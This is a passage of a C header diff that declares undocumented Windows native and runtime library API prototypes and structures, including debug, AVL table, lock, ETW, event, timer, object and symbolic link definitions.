+VOID +NTAPI +DbgUserBreakPoint( + VOID); + +NTSYSAPI +VOID +NTAPI +DbgBreakPoint( + VOID); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiConnectToDbg( + VOID); + +NTSYSAPI +VOID +NTAPI +DbgUiSetThreadDebugObject( + _In_ HANDLE DebugObject); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiContinue( + _In_ PCLIENT_ID AppClientId, + _In_ NTSTATUS ContinueStatus); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiStopDebugging( + _In_ HANDLE Process); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiDebugActiveProcess( + _In_ HANDLE Process); + +/************************************************************************************ +* +* RTL AVL Tree API. +* +************************************************************************************/ + +typedef enum _TABLE_SEARCH_RESULT { + TableEmptyTree, + TableFoundNode, + TableInsertAsLeft, + TableInsertAsRight +} TABLE_SEARCH_RESULT; + +typedef enum _RTL_GENERIC_COMPARE_RESULTS { + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +// +// Add an empty typedef so that functions can reference the +// a pointer to the generic table struct before it is declared. +// + +#if defined (__cplusplus) +struct _RTL_AVL_TABLE; +#else +typedef struct _RTL_AVL_TABLE RTL_AVL_TABLE; +typedef struct PRTL_AVL_TABLE *_RTL_AVL_TABLE; +#endif + +typedef RTL_GENERIC_COMPARE_RESULTS(NTAPI *PRTL_AVL_COMPARE_ROUTINE)( + _In_ struct _RTL_AVL_TABLE *Table, + _In_ PVOID FirstStruct, + _In_ PVOID SecondStruct + ); + +typedef PVOID(NTAPI *PRTL_AVL_ALLOCATE_ROUTINE)( + _In_ struct _RTL_AVL_TABLE *Table, + _In_ ULONG ByteSize + ); + +typedef VOID(NTAPI *PRTL_AVL_FREE_ROUTINE)( + _In_ struct _RTL_AVL_TABLE *Table, + _In_ _Post_invalid_ PVOID Buffer + ); + +typedef NTSTATUS(NTAPI *PRTL_AVL_MATCH_FUNCTION)( + _In_ struct _RTL_AVL_TABLE *Table, + _In_ PVOID UserData, + _In_ PVOID MatchData + ); + +typedef struct _RTL_BALANCED_LINKS { + struct _RTL_BALANCED_LINKS *Parent; + struct _RTL_BALANCED_LINKS *LeftChild; + struct _RTL_BALANCED_LINKS *RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS, *PRTL_BALANCED_LINKS; + +typedef struct _RTL_AVL_TABLE { + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + PRTL_AVL_COMPARE_ROUTINE CompareRoutine; + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_AVL_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE, *PRTL_AVL_TABLE; + +NTSYSAPI +VOID +NTAPI +RtlInitializeGenericTableAvl( + _Out_ PRTL_AVL_TABLE Table, + _In_ PRTL_AVL_COMPARE_ROUTINE CompareRoutine, + _In_ PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, + _In_ PRTL_AVL_FREE_ROUTINE FreeRoutine, + _In_opt_ PVOID TableContext); + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ CLONG BufferSize, + _Out_opt_ PBOOLEAN NewElement); + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTableFullAvl( + _In_ PRTL_AVL_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ CLONG BufferSize, + _Out_opt_ PBOOLEAN NewElement, + _In_ PVOID NodeOrParent, + _In_ TABLE_SEARCH_RESULT SearchResult); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDeleteElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer); + +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer); + +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTableFullAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID *NodeOrParent, + _Out_ TABLE_SEARCH_RESULT *SearchResult); + +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ BOOLEAN Restart); + +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplayingAvl( + _In_ PRTL_AVL_TABLE Table, + _Inout_ PVOID *RestartKey); + +NTSYSAPI +PVOID +NTAPI +RtlLookupFirstMatchingElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID *RestartKey); + +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableLikeADirectory( + _In_ PRTL_AVL_TABLE Table, + _In_opt_ PRTL_AVL_MATCH_FUNCTION MatchFunction, + _In_opt_ PVOID MatchData, + _In_ ULONG NextFlag, + _Inout_ PVOID *RestartKey, + _Inout_ PULONG DeleteCount, + _In_ PVOID Buffer); + +NTSYSAPI +PVOID +NTAPI +RtlGetElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ ULONG I); + +NTSYSAPI +ULONG +NTAPI +RtlNumberGenericTableElementsAvl( + _In_ PRTL_AVL_TABLE Table); + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmptyAvl( + _In_ PRTL_AVL_TABLE Table); + +/************************************************************************************ +* +* RTL Critical Section Support API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +RtlEnterCriticalSection( + _In_ PRTL_CRITICAL_SECTION CriticalSection); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLeaveCriticalSection( + _In_ PRTL_CRITICAL_SECTION CriticalSection); + +NTSYSAPI +LOGICAL +NTAPI +RtlIsCriticalSectionLocked( + _In_ PRTL_CRITICAL_SECTION CriticalSection); + +NTSYSAPI +LOGICAL +NTAPI +RtlIsCriticalSectionLockedByThread( + _In_ PRTL_CRITICAL_SECTION CriticalSection); + +NTSYSAPI +ULONG +NTAPI +RtlGetCriticalSectionRecursionCount( + _In_ PRTL_CRITICAL_SECTION CriticalSection); + +NTSYSAPI +LOGICAL +NTAPI +RtlTryEnterCriticalSection( + _In_ PRTL_CRITICAL_SECTION CriticalSection); + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeCriticalSection( + _In_ PRTL_CRITICAL_SECTION CriticalSection); + +NTSYSAPI +VOID +NTAPI +RtlEnableEarlyCriticalSectionEventCreation( + VOID); + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeCriticalSectionAndSpinCount( + _In_ PRTL_CRITICAL_SECTION CriticalSection, + _In_ ULONG SpinCount); + +NTSYSAPI +ULONG +NTAPI +RtlSetCriticalSectionSpinCount( + _In_ PRTL_CRITICAL_SECTION CriticalSection, + _In_ ULONG SpinCount); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteCriticalSection( + _In_ PRTL_CRITICAL_SECTION CriticalSection); + +/************************************************************************************ +* +* RTL SRW Lock Support API. +* +************************************************************************************/ + +NTSYSAPI +VOID +NTAPI +RtlInitializeSRWLock( + _Out_ PRTL_SRWLOCK SRWLock); + +NTSYSAPI +VOID +NTAPI +RtlAcquireSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock); + +NTSYSAPI +VOID +NTAPI +RtlAcquireSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock); + +NTSYSAPI +VOID +NTAPI +RtlReleaseSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock); + +NTSYSAPI +VOID +NTAPI +RtlReleaseSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTryAcquireSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTryAcquireSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock); + +NTSYSAPI +VOID +NTAPI +RtlAcquireReleaseSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock); + +NTSYSAPI +VOID +NTAPI +RtlUpdateClonedSRWLock( + _Inout_ PRTL_SRWLOCK SRWLock, + _In_ LOGICAL Shared); + +/************************************************************************************ +* +* RTL UAC Support API. +* +************************************************************************************/ + +#define DBG_FLAG_ELEVATION_ENABLED 1 +#define DBG_FLAG_VIRTUALIZATION_ENABLED 2 +#define DBG_FLAG_INSTALLER_DETECT_ENABLED 3 + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryElevationFlags( + _Inout_ ULONG *ElevationFlags); + +/************************************************************************************ +* +* RTL Misc Support API. +* +************************************************************************************/ + +NTSYSAPI +BOOLEAN +NTAPI +RtlDoesFileExists_U( + _In_ PCWSTR FileName); + +NTSYSAPI +ULONG +NTAPI +RtlGetLongestNtPathLength( + VOID); + +NTSYSAPI +BOOLEAN +NTAPI +RtlAreLongPathsEnabled( + VOID); + +/************************************************************************************ +* +* RTL Boundary Descriptor API. +* +************************************************************************************/ + +NTSYSAPI +PVOID +NTAPI +RtlCreateBoundaryDescriptor( + _In_ PUNICODE_STRING Name, + _In_ ULONG Flags); + +NTSYSAPI +VOID +NTAPI +RtlDeleteBoundaryDescriptor( + _In_ PVOID BoundaryDescriptor); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddSIDToBoundaryDescriptor( + _Inout_ PVOID *BoundaryDescriptor, + _In_ PSID RequiredSid); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddIntegrityLabelToBoundaryDescriptor( + _Inout_ PVOID *BoundaryDescriptor, + _In_ PSID IntegrityLabel); + +/************************************************************************************ +* +* ETW API. +* +************************************************************************************/ + +struct _EVENT_FILTER_DESCRIPTOR; + +typedef VOID(NTAPI *PENABLECALLBACK)( + _In_ LPCGUID SourceId, + _In_ ULONG IsEnabled, + _In_ UCHAR Level, + _In_ ULONGLONG MatchAnyKeyword, + _In_ ULONGLONG MatchAllKeyword, + _In_opt_ struct _EVENT_FILTER_DESCRIPTOR *FilterData, + _Inout_opt_ PVOID CallbackContext + ); + +NTSYSAPI +NTSTATUS +NTAPI +EtwEventRegister( + _In_ LPCGUID ProviderId, + _In_opt_ PENABLECALLBACK EnableCallback, + _In_opt_ PVOID CallbackContext, + _Out_ PREGHANDLE RegHandle); + +/* +** Runtime Library API END +*/ + +/* +** Native API START +*/ + +/************************************************************************************ +* +* System Information API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +WINAPI +NtQuerySystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySystemInformationEx( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetSystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength); + +/************************************************************************************ +* +* Event (EventPair) API. +* +************************************************************************************/ + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation +} EVENT_INFORMATION_CLASS; + +typedef enum _EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef struct _EVENT_BASIC_INFORMATION { + EVENT_TYPE EventType; + LONG EventState; +} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState); + +NTSYSAPI +NTSTATUS +NTAPI +NtClearEvent( + _In_ HANDLE EventHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtResetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState); + +NTSYSAPI +NTSTATUS +NTAPI +NtPulseEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryEvent( + _In_ HANDLE EventHandle, + _In_ EVENT_INFORMATION_CLASS EventInformationClass, + _Out_writes_bytes_(EventInformationLength) PVOID EventInformation, + _In_ ULONG EventInformationLength, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetLowEventPair( + _In_ HANDLE EventPairHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetHighEventPair( + _In_ HANDLE EventPairHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtWaitLowEventPair( + _In_ HANDLE EventPairHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtWaitHighEventPair( + _In_ HANDLE EventPairHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetLowWaitHighEventPair( + _In_ HANDLE EventPairHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetHighWaitLowEventPair( + _In_ HANDLE EventPairHandle); + +/************************************************************************************ +* +* Mutant API. +* +************************************************************************************/ + +typedef enum _MUTANT_INFORMATION_CLASS { + MutantBasicInformation, + MutantOwnerInformation +} MUTANT_INFORMATION_CLASS; + +typedef struct _MUTANT_BASIC_INFORMATION { + LONG CurrentCount; + BOOLEAN OwnedByCaller; + BOOLEAN AbandonedState; +} MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION; + +typedef struct _MUTANT_OWNER_INFORMATION { + CLIENT_ID ClientId; +} MUTANT_OWNER_INFORMATION, *PMUTANT_OWNER_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryMutant( + _In_ HANDLE MutantHandle, + _In_ MUTANT_INFORMATION_CLASS MutantInformationClass, + _Out_writes_bytes_(MutantInformationLength) PVOID MutantInformation, + _In_ ULONG MutantInformationLength, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtReleaseMutant( + _In_ HANDLE MutantHandle, + _Out_opt_ PLONG PreviousCount); + +/************************************************************************************ +* +* Timer API. +* +************************************************************************************/ + +typedef VOID(*PTIMER_APC_ROUTINE) ( + _In_ PVOID TimerContext, + _In_ ULONG TimerLowValue, + _In_ LONG TimerHighValue + ); + +typedef enum _TIMER_TYPE { + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +typedef enum _TIMER_INFORMATION_CLASS { + TimerBasicInformation +} TIMER_INFORMATION_CLASS; + +typedef struct _TIMER_BASIC_INFORMATION { + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION; + +typedef enum _TIMER_SET_INFORMATION_CLASS { + TimerSetCoalescableTimer, + MaxTimerInfoClass +} TIMER_SET_INFORMATION_CLASS; + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateTimer( + _In_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetTimer( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, + _In_ BOOLEAN WakeTimer, + _In_opt_ LONG Period, + _Out_opt_ PBOOLEAN PreviousState); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetTimerEx( + _In_ HANDLE TimerHandle, + _In_ TIMER_SET_INFORMATION_CLASS TimerSetInformationClass, + _Inout_updates_bytes_opt_(TimerSetInformationLength) PVOID TimerSetInformation, + _In_ ULONG TimerSetInformationLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenTimer( + _In_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryTimer( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_writes_bytes_(TimerInformationLength) PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtCancelTimer( + _In_ HANDLE TimerHandle, + _Out_opt_ PBOOLEAN CurrentState); + +//ref from ph2 + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateIRTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetIRTimer( + _In_ HANDLE TimerHandle, + _In_opt_ PLARGE_INTEGER DueTime); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateTimer2( + _Out_ PHANDLE TimerHandle, + _In_opt_ PVOID Reserved1, + _In_opt_ PVOID Reserved2, + _In_ ULONG Attributes, + _In_ ACCESS_MASK DesiredAccess); + +/************************************************************************************ +* +* Semaphore API. +* +************************************************************************************/ + +typedef enum _SEMAPHORE_INFORMATION_CLASS { + SemaphoreBasicInformation +} SEMAPHORE_INFORMATION_CLASS; + +typedef struct _SEMAPHORE_BASIC_INFORMATION { + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ LONG InitialCount, + _In_ LONG MaximumCount); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_writes_bytes_(SemaphoreInformationLength) PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtReleaseSemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ LONG ReleaseCount, + _Out_opt_ PLONG PreviousCount); + +/************************************************************************************ +* +* Object and Handle API. +* +************************************************************************************/ +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectTypesInformation, + ObjectHandleFlagInformation, + ObjectSessionInformation, + ObjectSessionObjectInformation, + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; + +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[3]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; + +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; + +typedef struct _OBJECT_TYPE_INFORMATION { + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +typedef struct _OBJECT_TYPE_INFORMATION_V2 { + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + UCHAR TypeIndex; + CHAR ReservedByte; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION_V2, *POBJECT_TYPE_INFORMATION_V2; + +typedef struct _OBJECT_TYPES_INFORMATION { + ULONG NumberOfTypes; +} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; + +#define OBJECT_TYPES_FIRST_ENTRY(ObjectTypes) (POBJECT_TYPE_INFORMATION)\ + RtlOffsetToPointer(ObjectTypes, ALIGN_UP(sizeof(OBJECT_TYPES_INFORMATION), ULONG_PTR)) + +#define OBJECT_TYPES_NEXT_ENTRY(ObjectType) (POBJECT_TYPE_INFORMATION)\ + RtlOffsetToPointer(ObjectType, sizeof(OBJECT_TYPE_INFORMATION) + \ + ALIGN_UP(ObjectType->TypeName.MaximumLength, ULONG_PTR)) + +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION { + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +NtClose( + _In_ HANDLE Handle); + +NTSYSAPI +NTSTATUS +NTAPI +NtDuplicateObject( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_opt_ HANDLE TargetProcessHandle, + _Out_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options); + +NTSYSAPI +NTSTATUS +NTAPI +NtMakePermanentObject( + _In_ HANDLE Handle); + +NTSYSAPI +NTSTATUS +NTAPI +NtMakeTemporaryObject( + _In_ HANDLE Handle); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetSecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor); + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_writes_bytes_opt_(Length) PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded); + +NTSYSAPI +NTSTATUS +NTAPI +NtCompareObjects( + _In_ HANDLE FirstObjectHandle, + _In_ HANDLE SecondObjectHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryObject( + _In_opt_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationObject( + _In_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _In_reads_bytes_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength); + +typedef enum _WAIT_TYPE { + WaitAll, + WaitAny, + WaitNotification +} WAIT_TYPE; + +NTSYSAPI +NTSTATUS +NTAPI +NtWaitForSingleObject( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout); + +NTSYSAPI +NTSTATUS +NTAPI +NtWaitForMultipleObjects( + _In_ ULONG Count, + _In_reads_(Count) HANDLE Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout); + +/************************************************************************************ +* +* Directory Object API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateDirectoryObjectEx( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ShadowDirectoryHandle, + _In_ ULONG Flags); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryDirectoryObject( + _In_ HANDLE DirectoryHandle, + _Out_writes_bytes_opt_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _Inout_ PULONG Context, + _Out_opt_ PULONG ReturnLength); + +/************************************************************************************ +* +* Private Namespace API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +NtCreatePrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PVOID BoundaryDescriptor); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenPrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PVOID BoundaryDescriptor); + +NTSYSAPI +NTSTATUS +NTAPI +NtDeletePrivateNamespace( + _In_ HANDLE NamespaceHandle); + +/************************************************************************************ +* +* Symbolic Link API. +* +************************************************************************************/ + +typedef struct _OBJECT_SYMBOLIC_LINK_V1 { //pre Win10 TH1 + LARGE_INTEGER CreationTime; + UNICODE_STRING LinkTarget; + ULONG DosDeviceDriveIndex; +} OBJECT_SYMBOLIC_LINK_V1, *POBJECT_SYMBOLIC_LINK_V1; + +typedef struct _OBJECT_SYMBOLIC_LINK_V2 { //Win10 TH1/TH2 + LARGE_INTEGER CreationTime; + UNICODE_STRING LinkTarget; + ULONG DosDeviceDriveIndex; + ULONG Flags; +} OBJECT_SYMBOLIC_LINK_V2, *POBJECT_SYMBOLIC_LINK_V2; + +typedef struct _OBJECT_SYMBOLIC_LINK_V3 { //Win10 RS1 + LARGE_INTEGER CreationTime; + UNICODE_STRING LinkTarget; + ULONG DosDeviceDriveIndex; + ULONG Flags; + ULONG AccessMask; +} OBJECT_SYMBOLIC_LINK_V3, *POBJECT_SYMBOLIC_LINK_V3; + +typedef struct _OBJECT_SYMBOLIC_LINK_V4 { //Win10 RS2+ + LARGE_INTEGER CreationTime; + union { + UNICODE_STRING LinkTarget; + struct { + PVOID Callback; + PVOID CallbackContext; + }; + } u1; + ULONG DosDeviceDriveIndex; + 